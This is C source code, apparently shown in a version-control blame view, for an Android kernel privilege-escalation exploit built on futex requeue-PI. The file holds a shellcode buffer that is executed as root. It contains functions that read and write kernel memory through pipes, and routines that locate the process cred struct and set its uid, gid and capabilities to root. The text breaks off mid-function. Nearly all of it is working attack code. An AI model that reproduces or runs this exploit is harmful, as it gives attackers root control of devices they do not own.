2016-10-19 05:17:33 +00:00
|
|
|
#include <unistd.h>
|
|
|
|
#include <linux/futex.h>
|
|
|
|
#include <pthread.h>
|
|
|
|
#include <unistd.h>
|
|
|
|
#include <sys/syscall.h>
|
|
|
|
#include <sys/resource.h>
|
|
|
|
#include <stdio.h>
|
|
|
|
#include <stdlib.h>
|
|
|
|
#include <errno.h>
|
|
|
|
#include <sys/stat.h>
|
|
|
|
#include <sys/system_properties.h>
|
|
|
|
#include <sys/mount.h>
|
|
|
|
#include <sys/types.h>
|
2016-11-06 14:33:24 +00:00
|
|
|
#include <sys/wait.h>
|
2016-10-19 05:17:33 +00:00
|
|
|
#include <sys/socket.h>
|
|
|
|
#include <sys/uio.h>
|
|
|
|
#include <limits.h>
|
|
|
|
#include <fcntl.h>
|
|
|
|
#include <getopt.h>
|
|
|
|
#include <stdint.h>
|
|
|
|
#include <pwd.h>
|
|
|
|
#include <arpa/inet.h>
|
|
|
|
#include <sys/mman.h>
|
|
|
|
#include "log.h"
|
|
|
|
|
|
|
|
struct mmsghdr {
|
|
|
|
struct msghdr msg_hdr;
|
|
|
|
unsigned int msg_len;
|
|
|
|
};
|
|
|
|
|
|
|
|
#ifndef FUTEX_WAIT_REQUEUE_PI
|
|
|
|
#define FUTEX_WAIT_REQUEUE_PI 11
|
|
|
|
#endif
|
|
|
|
|
|
|
|
#ifndef FUTEX_CMP_REQUEUE_PI
|
|
|
|
#define FUTEX_CMP_REQUEUE_PI 12
|
|
|
|
#endif
|
|
|
|
|
|
|
|
#define ERROR 0
|
|
|
|
#define ROOT_SUCCESS 1
|
|
|
|
#define FIX_SUCCESS 2
|
|
|
|
#define ALL_DONE 3
|
|
|
|
|
|
|
|
#define KERNEL_START 0xc0000000
|
|
|
|
|
|
|
|
unsigned char shellcode_buf[2048] = { 0x90, 0x90, 0x90, 0x90 };
|
|
|
|
unsigned char config_buf[2048] = { "c0nfig" };
|
|
|
|
|
|
|
|
int config_new_samsung = 0;
|
|
|
|
int config_iovstack = 2;
|
|
|
|
int config_offset = 0;
|
|
|
|
int config_force_remove = 0;
|
|
|
|
|
|
|
|
int run_shellcode_as_root() {
|
|
|
|
|
|
|
|
int uid = getuid();
|
|
|
|
if (uid != 0) {
|
|
|
|
LOGV("Not uid=%d, returning\n", uid);
|
2016-11-06 14:33:24 +00:00
|
|
|
return 0;
|
2016-10-19 05:17:33 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
if (shellcode_buf[0] == 0x90) {
|
|
|
|
LOGV("No shellcode, uid=%d\n", uid);
|
2016-11-06 14:33:24 +00:00
|
|
|
return 0;
|
2016-10-19 05:17:33 +00:00
|
|
|
}
|
|
|
|
LOGV("running shellcode, uid=%d\n", uid);
|
|
|
|
|
|
|
|
int pid = fork();
|
|
|
|
LOGV("onload, pid=%d\n", pid);
|
|
|
|
if (pid == 0) {
|
|
|
|
LOGV("shellcode, pid=%d, tid=%d\n", getpid(), gettid());
|
|
|
|
void *ptr = mmap(0, sizeof(shellcode_buf), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
|
|
|
|
if (ptr == MAP_FAILED) {
|
2016-11-06 14:33:24 +00:00
|
|
|
return 0;
|
2016-10-19 05:17:33 +00:00
|
|
|
}
|
|
|
|
memcpy(ptr, shellcode_buf, sizeof(shellcode_buf));
|
|
|
|
void (*shellcode)() = (void(*)())ptr;
|
|
|
|
shellcode();
|
|
|
|
}
|
|
|
|
LOGV("finished, pid=%d\n", pid);
|
|
|
|
return pid;
|
|
|
|
}
|
|
|
|
|
|
|
|
#define DEV_PTMX "/dev/ptmx"
|
|
|
|
int PORT = 58295;
|
|
|
|
|
|
|
|
unsigned long addr, hacked_node, hacked_node_alt;
|
|
|
|
int HACKS_fdm = 0;
|
|
|
|
pid_t waiter_thread_tid;
|
|
|
|
pthread_mutex_t done_lock;
|
|
|
|
pthread_mutex_t done_kill_lock;
|
|
|
|
pthread_mutex_t thread_returned_lock;
|
|
|
|
pthread_cond_t done;
|
|
|
|
pthread_cond_t done_kill;
|
|
|
|
pthread_cond_t thread_returned;
|
|
|
|
pthread_mutex_t is_thread_desched_lock;
|
|
|
|
pthread_cond_t is_thread_desched;
|
|
|
|
pthread_mutex_t is_thread_awake_lock;
|
|
|
|
pthread_cond_t is_thread_awake;
|
|
|
|
int lock1 = 0;
|
|
|
|
int lock2 = 0;
|
|
|
|
pid_t last_tid = 0, leaker_pid = 0, stack_modifier_tid = 0, pid6 = 0, pid7 = 0;
|
|
|
|
pthread_mutex_t *is_kernel_writing;
|
|
|
|
int pipe_fd[2];
|
|
|
|
int sockfd;
|
|
|
|
pid_t tid_12 = 0;
|
|
|
|
pid_t tid_11 = 0;
|
|
|
|
unsigned long first_kstack_base, final_kstack_base, leaker_kstack_base, target_waiter;
|
|
|
|
unsigned long t11;
|
|
|
|
unsigned long lock;
|
|
|
|
char shell_server[256];
|
|
|
|
int loop_limit = 10;
|
|
|
|
pid_t remove_pid[1024];
|
|
|
|
unsigned long remove_waiter[1024];
|
|
|
|
int remove_counter = 0;
|
|
|
|
|
|
|
|
const char str_ffffffff[] = {0xff, 0xff, 0xff, 0xff, 0};
|
|
|
|
const char str_1[] = {1, 0, 0, 0, 0};
|
|
|
|
|
|
|
|
void reset_hacked_list(unsigned long hacked_node);
|
|
|
|
|
|
|
|
/*********************/
|
|
|
|
/*** PIPE STUFF ******/
|
|
|
|
/*********************/
|
|
|
|
|
|
|
|
// Pipe server
|
|
|
|
static int start_pipe_server() {
|
|
|
|
int nbytes,msg;
|
|
|
|
int done_root = 0;
|
|
|
|
|
|
|
|
/* Parent process closes up output side of pipe */
|
|
|
|
close(pipe_fd[1]);
|
|
|
|
LOGD("[CONTROLLER] Controller started with PID %d\n", getpid());
|
|
|
|
|
|
|
|
while(1) {
|
|
|
|
/* Read in a message from the exploiting process */
|
|
|
|
nbytes = read(pipe_fd[0], &msg, sizeof(msg));
|
|
|
|
if(nbytes <= 0) return 0;
|
|
|
|
if(msg == ROOT_SUCCESS) {
|
|
|
|
LOGD("[CONTROLLER] Exploit succeded\n");
|
|
|
|
done_root = 1;
|
|
|
|
}
|
|
|
|
if(msg == FIX_SUCCESS) {
|
|
|
|
LOGD("[CONTROLLER] Fix succeded\n");
|
|
|
|
}
|
|
|
|
if(msg == ALL_DONE) {
|
|
|
|
LOGD("[CONTROLLER] Exploit completed\n");
|
|
|
|
if(done_root)
|
|
|
|
return 1;
|
|
|
|
}
|
|
|
|
if(msg == ERROR) {
|
|
|
|
if(done_root) {
|
|
|
|
LOGD("[CONTROLLER] Error but exploit succeded\n");
|
|
|
|
return 1;
|
|
|
|
}
|
|
|
|
else {
|
|
|
|
LOGD("[CONTROLLER] Error received\n");
|
|
|
|
return 0;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
// Send a message to the controller
|
|
|
|
static void send_pipe_msg(int msg) {
|
|
|
|
int msg_to_send;
|
|
|
|
|
|
|
|
msg_to_send = msg;
|
|
|
|
write(pipe_fd[1], &msg, sizeof(msg));
|
|
|
|
}
|
|
|
|
|
|
|
|
// Read kernel space using pipe
|
|
|
|
ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
|
|
|
|
int pipefd[2];
|
|
|
|
ssize_t len;
|
|
|
|
|
|
|
|
pipe(pipefd);
|
|
|
|
|
|
|
|
len = write(pipefd[1], writebuf, count);
|
|
|
|
|
|
|
|
if (len != count) {
|
|
|
|
LOGD("[PIPE] FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
|
|
|
|
return -1;
|
|
|
|
}
|
|
|
|
|
|
|
|
read(pipefd[0], readbuf, count);
|
|
|
|
LOGD("[PIPE] Read %d bytes\n", count);
|
|
|
|
|
|
|
|
close(pipefd[0]);
|
|
|
|
close(pipefd[1]);
|
|
|
|
|
|
|
|
return len;
|
|
|
|
}
|
|
|
|
|
|
|
|
// Write in kernel space using pipe
|
|
|
|
ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
|
|
|
|
int pipefd[2];
|
|
|
|
ssize_t len;
|
|
|
|
int ret = 0;
|
|
|
|
|
|
|
|
pipe(pipefd);
|
|
|
|
ret = write(pipefd[1], writebuf, count);
|
|
|
|
len = read(pipefd[0], readbuf, count);
|
|
|
|
if (len != count) {
|
|
|
|
LOGD("[PIPE] FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
|
|
|
|
return -1;
|
|
|
|
}
|
|
|
|
else
|
|
|
|
LOGD("[PIPE] Written %d bytes\n", (int)len);
|
|
|
|
|
|
|
|
close(pipefd[0]);
|
|
|
|
close(pipefd[1]);
|
|
|
|
|
|
|
|
return len;
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/*********************/
|
|
|
|
/**** SOCKET STUFF ***/
|
|
|
|
/*********************/
|
|
|
|
|
|
|
|
void *accept_socket(void *arg) {
|
|
|
|
int yes;
|
|
|
|
struct sockaddr_in addr = {0};
|
|
|
|
int ret;
|
|
|
|
int sock_buf_size;
|
|
|
|
socklen_t optlen;
|
|
|
|
|
|
|
|
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
|
|
|
if(sockfd < 0) {
|
|
|
|
LOGD("[ACCEPT SOCKET] Socket creation failed\n");
|
|
|
|
send_pipe_msg(ERROR);
|
|
|
|
return NULL;
|
|
|
|
}
|
|
|
|
|
|
|
|
yes = 1;
|
|
|
|
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
|
|
|
|
|
|
|
|
// We need set the socket kernel buffer as smaller as possible.
|
|
|
|
// When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall
|
|
|
|
|
|
|
|
sock_buf_size = 1;
|
|
|
|
setsockopt(sockfd, SOL_SOCKET, SO_RCVBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
|
|
|
|
|
|
|
|
addr.sin_family = AF_INET;
|
|
|
|
addr.sin_port = htons(PORT);
|
|
|
|
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
|
|
|
|
|
|
|
if(bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
|
|
|
|
LOGD("[ACCEPT SOCKET] Socket bind failed\n");
|
|
|
|
send_pipe_msg(ERROR);
|
|
|
|
return NULL;
|
|
|
|
}
|
|
|
|
|
|
|
|
if(listen(sockfd, 1) < 0) {
|
|
|
|
LOGD("[ACCEPT SOCKET] Socket listen failed\n");
|
|
|
|
send_pipe_msg(ERROR);
|
|
|
|
return NULL;
|
|
|
|
}
|
|
|
|
|
|
|
|
while(1) {
|
|
|
|
ret = accept(sockfd, NULL, NULL);
|
|
|
|
if (ret < 0) {
|
|
|
|
LOGD("[ACCEPT SOCKET] Socket accept failed\n");
|
|
|
|
send_pipe_msg(ERROR);
|
|
|
|
return NULL;
|
|
|
|
} else {
|
|
|
|
LOGD("[ACCEPT SOCKET] Client accepted!\n");
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
return NULL;
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
int make_socket() {
|
|
|
|
int sockfd;
|
|
|
|
struct sockaddr_in addr = {0};
|
|
|
|
int ret;
|
|
|
|
int sock_buf_size;
|
|
|
|
socklen_t optlen;
|
|
|
|
|
|
|
|
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
|
|
|
if (sockfd < 0) {
|
|
|
|
LOGD("[MAKE SOCKET] socket failed.\n");
|
|
|
|
send_pipe_msg(ERROR);
|
|
|
|
return 0;
|
|
|
|
} else {
|
|
|
|
addr.sin_family = AF_INET;
|
|
|
|
addr.sin_port = htons(PORT);
|
|
|
|
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
|
|
|
}
|
|
|
|
|
|
|
|
while (1) {
|
|
|
|
ret = connect(sockfd, (struct sockaddr *)&addr, 16);
|
|
|
|
if (ret >= 0) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
usleep(10);
|
|
|
|
}
|
|
|
|
|
|
|
|
// We need set the socket kernel buffer as smaller as possible
|
|
|
|
// When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall
|
|
|
|
|
|
|
|
sock_buf_size = 1;
|
|
|
|
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
|
|
|
|
|
|
|
|
return sockfd;
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/*************************/
|
|
|
|
/**** KERNEL STUFF *******/
|
|
|
|
/*************************/
|
|
|
|
void stop_for_error() {
|
|
|
|
LOGD("[ERROR] Sleeping for error");
|
|
|
|
send_pipe_msg(ERROR);
|
|
|
|
while(1)
|
|
|
|
sleep(10);
|
|
|
|
}
|
|
|
|
|
|
|
|
// Remove a pending waiter
|
|
|
|
void remove_remaining_waiter(int index) {
|
|
|
|
unsigned long addr;
|
|
|
|
unsigned long val[4];
|
|
|
|
|
|
|
|
|
|
|
|
LOGD("[REMOVER] Killing tid %d waiter %x\n", remove_pid[index], (unsigned int) remove_waiter[index]);
|
|
|
|
|
|
|
|
addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
|
|
|
|
|
|
|
reset_hacked_list(0xbeffe0);
|
|
|
|
|
|
|
|
// Create a correct next and previous waiter
|
|
|
|
|
|
|
|
*((unsigned long *)0xbf0004) = remove_waiter[index]; // (entry->next)->prev
|
|
|
|
*((unsigned long *)0xbeffe0) = remove_waiter[index]; // (entry->prev)->next
|
|
|
|
*((unsigned long *)0xbf000c) = (remove_waiter[index]+8); // (entry->node_next)->node_prev
|
|
|
|
*((unsigned long *)0xbeffe8) = (remove_waiter[index]+8); // (entry->node_prev)->node_next
|
|
|
|
|
|
|
|
val[0] = 0xbf0000;
|
|
|
|
val[1] = 0xbeffe0;
|
|
|
|
val[2] = 0xbf0008;
|
|
|
|
val[3] = 0xbeffe8;
|
|
|
|
write_pipe((void *)(remove_waiter[index]), &val, 16);
|
|
|
|
|
|
|
|
// Now we can kill the waiter safely
|
|
|
|
|
|
|
|
pthread_mutex_lock(&is_thread_awake_lock);
|
|
|
|
kill(remove_pid[index], 14);
|
|
|
|
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
|
|
|
pthread_mutex_unlock(&is_thread_awake_lock);
|
|
|
|
|
|
|
|
munmap((unsigned long *)0xbef000, 0x2000);
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
// Fix the kernel waiter list
|
|
|
|
int fix_kernel_waiter_list(unsigned int head) {
|
|
|
|
|
|
|
|
unsigned int val, val2, val3, list, prio6, prio3;
|
|
|
|
int i, err = 0, ret = 0;
|
|
|
|
unsigned long w[4];
|
|
|
|
unsigned int as[12];
|
|
|
|
|
|
|
|
LOGD("[FIXER] prio 6 at %x\n", head);
|
|
|
|
|
|
|
|
list = head + 4;
|
|
|
|
|
|
|
|
// Save the prio6 waiter
|
|
|
|
read_pipe((void *) list, &prio6, 4);
|
|
|
|
|
|
|
|
// Save the prio3 waiter
|
|
|
|
read_pipe((void *) (list+4), &prio3, 4);
|
|
|
|
|
|
|
|
// Fix prio3
|
|
|
|
ret = write_pipe((void *) (prio3+4), &t11, 4); // prio_list->prev
|
|
|
|
if(ret == -1)
|
|
|
|
err = 1;
|
|
|
|
|
|
|
|
#ifdef DEBUG
|
|
|
|
//////////////// Just debug //////////////////////////////
|
|
|
|
read_pipe((void *) (list-4), &as, 48);
|
|
|
|
LOGD("[FIXER] First: %x %x %x %x %x %x %x %x %x %x %x %x\n",
|
|
|
|
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
|
|
|
|
//////////////////////////////////////////////
|
|
|
|
#endif
|
|
|
|
|
|
|
|
|
|
|
|
// Find the first waiter before the hacked waiter. We need to fix it
|
|
|
|
for(i = 0; i < 2; i++) {
|
|
|
|
read_pipe((void *) list, &val, 4);
|
|
|
|
list = val;
|
|
|
|
if(i == 0) {
|
|
|
|
// At the beginning we need to save the lock pointer
|
|
|
|
read_pipe((void *) (list + 40), &lock, 4);
|
|
|
|
|
|
|
|
#ifdef DEBUG
|
|
|
|
//////////////// Just debug //////////////////////////////
|
|
|
|
read_pipe((void *) (list-4), &as, 48);
|
|
|
|
LOGD("[FIXER] Second: %x %x %x %x %x %x %x %x %x %x %x %x\n",
|
|
|
|
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
|
|
|
|
//////////////////////////////////////////////
|
|
|
|
#endif
|
|
|
|
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// Adjust the lock->next pointer
|
|
|
|
LOGD("[FIXER] Looking for the lock next offset address\n");
|
|
|
|
if(lock) {
|
|
|
|
for(i = 0; i < 5; i++) {
|
|
|
|
read_pipe((void *) (lock + (i * 4)), &val3, 4);
|
|
|
|
if(val3 == (prio3 + 8)) {
|
|
|
|
LOGD("[FIXER] Lock next offset fount at %d\n", (i * 4));
|
|
|
|
lock = lock + (i * 4);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
// Fix the lock->prev. Now points to the hacked node. Change it to the prio 12 waiter
|
|
|
|
val2 = t11 + 8;
|
|
|
|
ret = write_pipe((void *) (lock + 4), &val2, 4); // lock->prev
|
|
|
|
if(ret == -1)
|
|
|
|
err = 1;
|
|
|
|
|
|
|
|
// Fix prio 7 waiter. It points to the hacked node. Update it pointing to the prio 11 waiter
|
|
|
|
val2 = t11+8;
|
|
|
|
ret = write_pipe((void *) (list), &t11, 4); // prio_list->next
|
|
|
|
if(ret == -1)
|
|
|
|
err = 1;
|
|
|
|
|
|
|
|
ret = write_pipe((void *) (list + 8), &val2, 4); // node_list->next
|
|
|
|
if(ret == -1)
|
|
|
|
err = 1;
|
|
|
|
|
|
|
|
|
|
|
|
// Fix prio 11. Points to the hacked node, fix it to point to the prio 7 waiter
|
|
|
|
w[0] = prio3; // prio_list->next
|
|
|
|
w[1] = list; // prio_list->prev
|
|
|
|
w[2] = lock; // node_list->next
|
|
|
|
w[3] = list + 8; // node_list->prev
|
|
|
|
|
|
|
|
ret = write_pipe((void *) t11, &w, 16);
|
|
|
|
if(ret == -1)
|
|
|
|
err = 1;
|
|
|
|
|
|
|
|
LOGD("[FIXER] Lock->next found at %x\n", (unsigned int) lock);
|
|
|
|
LOGD("[FIXER] All done!\n");
|
|
|
|
|
|
|
|
#ifdef DEBUG
|
|
|
|
///////////////////////////// DEBUG ////////////////////////////7
|
|
|
|
read_pipe((void *) (prio3-4), &as, 48);
|
|
|
|
LOGD("[FIXER] prio3 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio3-4),
|
|
|
|
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
|
|
|
|
|
|
|
|
read_pipe((void *) (head), &as, 48);
|
|
|
|
LOGD("[FIXER] prio4 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(head),
|
|
|
|
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
|
|
|
|
|
|
|
|
read_pipe((void *) (prio6-4), &as, 48);
|
|
|
|
LOGD("[FIXER] prio6 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio6-4),
|
|
|
|
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
|
|
|
|
|
|
|
|
read_pipe((void *) (list - 4), &as, 48);
|
|
|
|
LOGD("[FIXER] prio7 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(list-4),
|
|
|
|
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
|
|
|
|
|
|
|
|
read_pipe((void *) (t11-4), &as, 48);
|
|
|
|
LOGD("[FIXER] prio11 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(t11-4),
|
|
|
|
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
|
|
|
|
|
|
|
|
read_pipe((void *) (lock), &as, 16);
|
|
|
|
LOGD("LOCK: %x %x %x %x\n", as[0], as[1], as[2], as[3]);
|
|
|
|
//////////////////////////////////////////////
|
|
|
|
#endif
|
|
|
|
|
|
|
|
sleep(1);
|
|
|
|
|
|
|
|
return err;
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// Hack in the kernel
|
|
|
|
void hack_the_kernel(int signum) {
|
|
|
|
char *slavename;
|
|
|
|
int pipefd[2];
|
|
|
|
char readbuf[0x100];
|
|
|
|
unsigned long thread_info_dump[4];
|
|
|
|
unsigned long task_struct_dump[0x200];
|
|
|
|
unsigned long cred_struct_dump[0x40];
|
|
|
|
unsigned long cred_struct_dump_orig[0x40];
|
|
|
|
unsigned long group_info_struct_dump[6];
|
|
|
|
unsigned long group_info_struct_dump_orig[6];
|
|
|
|
pid_t pid;
|
|
|
|
int i, ret;
|
|
|
|
unsigned long val1, val2;
|
|
|
|
int err = 0;
|
|
|
|
|
|
|
|
leaker_pid = gettid();
|
|
|
|
|
|
|
|
pthread_mutex_lock(&is_thread_awake_lock);
|
|
|
|
pthread_cond_signal(&is_thread_awake);
|
|
|
|
pthread_mutex_unlock(&is_thread_awake_lock);
|
|
|
|
|
|
|
|
// Check if we are the first or the second evil thread
|
|
|
|
if (final_kstack_base == 0) {
|
|
|
|
LOGD("[FIRST KERNEL HACK] First evil thread started\n");
|
|
|
|
|
|
|
|
pthread_mutex_lock(is_kernel_writing);
|
|
|
|
// We need to use a pipe... Open a pts device to use it
|
|
|
|
|
|
|
|
HACKS_fdm = open(DEV_PTMX, O_RDWR);
|
|
|
|
unlockpt(HACKS_fdm);
|
|
|
|
slavename = ptsname(HACKS_fdm);
|
|
|
|
|
|
|
|
open(slavename, O_RDWR);
|
|
|
|
LOGD("[FIRST KERNEL HACK] First evil thread going to wait\n");
|
|
|
|
|
|
|
|
if(config_new_samsung) {
|
|
|
|
pipe(pipefd);
|
|
|
|
syscall(__NR_splice, HACKS_fdm, NULL, pipefd[1], NULL, sizeof readbuf, 0);
|
|
|
|
|
|
|
|
}
|
|
|
|
else {
|
|
|
|
read(HACKS_fdm, readbuf, 0x100);
|
|
|
|
}
|
|
|
|
|
|
|
|
// Here the TRIGGER told us to continue the dirty job
|
|
|
|
// Update the thread_info struct of the second evil thread using the pipe.
|
|
|
|
|
|
|
|
write_pipe((void *)(final_kstack_base + 8), (void *)str_ffffffff, 4);
|
|
|
|
|
|
|
|
LOGD("[FIRST KERNEL HACK] All Done!\n");
|
|
|
|
|
|
|
|
// Tell the second thread that now can continue
|
|
|
|
pthread_mutex_unlock(is_kernel_writing);
|
|
|
|
|
|
|
|
// Add a waiter at the beginning of the list so we can leak it
|
|
|
|
LOGD("[LEAKER] Adding waiter with prio 3 as leaker\n");
|
|
|
|
setpriority(PRIO_PROCESS, 0, 4);
|
|
|
|
LOGD("[LEAKER] PID %d TID %d\n", getpid(), gettid());
|
|
|
|
|
|
|
|
syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
|
|
|
|
|
|
|
// If we are here the stack modifier has been killed
|
|
|
|
|
|
|
|
LOGD("[LEAKER] Leaker unlocked and exiting %d\n", gettid());
|
|
|
|
|
|
|
|
// Tell to the second evil thread that it can fix the waiter list now
|
|
|
|
pthread_mutex_lock(&done_kill_lock);
|
|
|
|
pthread_cond_signal(&done_kill);
|
|
|
|
pthread_mutex_unlock(&done_kill_lock);
|
|
|
|
|
|
|
|
sleep(5);
|
|
|
|
return;
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
//////////////////////////////////////////
|
|
|
|
// From here we are the second evil thread
|
|
|
|
LOGD("[SECOND KERNEL HACK] Waiting to be powered!\n");
|
|
|
|
pthread_mutex_lock(is_kernel_writing);
|
|
|
|
|
|
|
|
sleep(2);
|
|
|
|
|
|
|
|
LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n");
|
|
|
|
read_pipe((void *)final_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct...
|
|
|
|
read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump
|
|
|
|
|
|
|
|
LOGD("[SECOND KERNEL HACK] task_struct at %x\n", (unsigned int) thread_info_dump[3]);
|
|
|
|
|
|
|
|
val1 = 0;
|
|
|
|
val2 = 0;
|
|
|
|
pid = 0;
|
|
|
|
|
|
|
|
LOGD("[SECOND KERNEL HACK] Parsing thread_info for cred...\n");
|
|
|
|
// Parse the task_struct dump in order to find the cred struct pointer
|
|
|
|
// If we have four succesive kernel pointer -> we have the cred struct
|
|
|
|
for (i = 0; i < 0x200; i++) {
|
|
|
|
if (task_struct_dump[i] == task_struct_dump[i + 1]) {
|
|
|
|
if (task_struct_dump[i] > 0xc0000000) {
|
|
|
|
if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) {
|
|
|
|
if (task_struct_dump[i + 2] > 0xc0000000) {
|
|
|
|
if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) {
|
|
|
|
if (task_struct_dump[i + 4] > 0xc0000000) {
|
|
|
|
if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) {
|
|
|
|
if (task_struct_dump[i + 6] > 0xc0000000) {
|
|
|
|
val1 = task_struct_dump[i + 7]; // Found offset for the cred struct
|
|
|
|
LOGD("[SECOND KERNEL HACK] %x %d: cred struct pointer FOUND!\n", (unsigned int) val1, (i+7));
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
if(!val1) {
|
|
|
|
LOGD("[SECOND KERNEL HACK] cred pointer NOT FOUND. Aborting...\n");
|
|
|
|
stop_for_error();
|
|
|
|
}
|
|
|
|
|
|
|
|
LOGD("[SECOND KERNEL HACK] reading cred struct for group_info\n");
|
|
|
|
// Update the cred struct
|
|
|
|
read_pipe((void *)val1, cred_struct_dump, 0x100);
|
|
|
|
memcpy((void *)cred_struct_dump_orig, (void *)cred_struct_dump, 0x100); // Save the original struct
|
|
|
|
|
|
|
|
val2 = cred_struct_dump[0x16]; // group_info struct
|
|
|
|
if (val2 > 0xc0000000) {
|
|
|
|
if (val2 < 0xffff0000) {
|
|
|
|
read_pipe((void *)val2, group_info_struct_dump, 0x18); // group_info struct dump
|
|
|
|
memcpy((void *)group_info_struct_dump_orig, (void *)group_info_struct_dump, 0x18);
|
|
|
|
if (group_info_struct_dump[0] != 0) {
|
|
|
|
if (group_info_struct_dump[1] != 0) {
|
|
|
|
if (group_info_struct_dump[2] == 0) {
|
|
|
|
if (group_info_struct_dump[3] == 0) {
|
|
|
|
if (group_info_struct_dump[4] == 0) {
|
|
|
|
if (group_info_struct_dump[5] == 0) {
|
|
|
|
group_info_struct_dump[0] = 1; // atomic_t usage
|
|
|
|
group_info_struct_dump[1] = 1; // int ngroups
|
|
|
|
|
|
|
|
// Update the group_info struct in the kernel
|
|
|
|
LOGD("[SECOND KERNEL HACK] Updating group_info struct...\n");
|
|
|
|
write_pipe((void *)val2, group_info_struct_dump, 0x18);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
// Update the cred struct
|
|
|
|
cred_struct_dump[1] = 0; // uid
|
|
|
|
cred_struct_dump[2] = 0; // gid
|
|
|
|
cred_struct_dump[3] = 0; // suid
|
|
|
|
cred_struct_dump[4] = 0; // sgid
|
|
|
|
cred_struct_dump[5] = 0; // euid
|
|
|
|
cred_struct_dump[6] = 0; // egid
|
|
|
|
cred_struct_dump[7] = 0; // fsuid
|
|
|
|
cred_struct_dump[8] = 0; // fsgid
|
|
|
|
|
|
|
|
cred_struct_dump[10] = 0xffffffff; // cap_inheritable
|
|
|
|
cred_struct_dump[11] = 0xffffffff; // cap_permitted
|
|
|
|
cred_struct_dump[12] = 0xffffffff; // cap_effective
|
|
|
|
cred_struct_dump[13] = 0xffffffff; // cap_bset
|
|
|
|
cred_struct_dump[14] = 0xffffffff; // jit_keyring
|
|
|
|
cred_struct_dump[15] = 0xffffffff; // *session_keyring
|
|
|
|
cred_struct_dump[16] = 0xffffffff; // *process_keyring
|
|
|
|
cred_struct_dump[17] = 0xffffffff; // *thread_keyring;
|
|
|
|
|
|
|
|
|
|
|
|
LOGD("[SECOND KERNEL HACK] Updating cred struct in the kernel...\n");
|
|
|
|
|
|
|
|
// Update the cred struct in the kernel
|
|
|
|
write_pipe((void *)val1, cred_struct_dump, 0x48);
|
|
|
|
|
|
|
|
sleep(2);
|
|
|
|
|
|
|
|
pid = syscall(__NR_gettid);
|
|
|
|
|
|
|
|
// Update the pid
|
|
|
|
LOGD("[SECOND KERNEL HACK] Looking for PID..\n");
|
|
|
|
i = 0;
|
|
|
|
while (1) {
|
|
|
|
if (task_struct_dump[i] == pid) {
|
|
|
|
LOGD("[SECOND KERNEL HACK] PID found. Update and hack....\n");
|
|
|
|
|
|
|
|
write_pipe((void *)(thread_info_dump[3] + (i << 2)), (void *)str_1, 4);
|
|
|
|
|
|
|
|
if (getuid() != 0) {
|
|
|
|
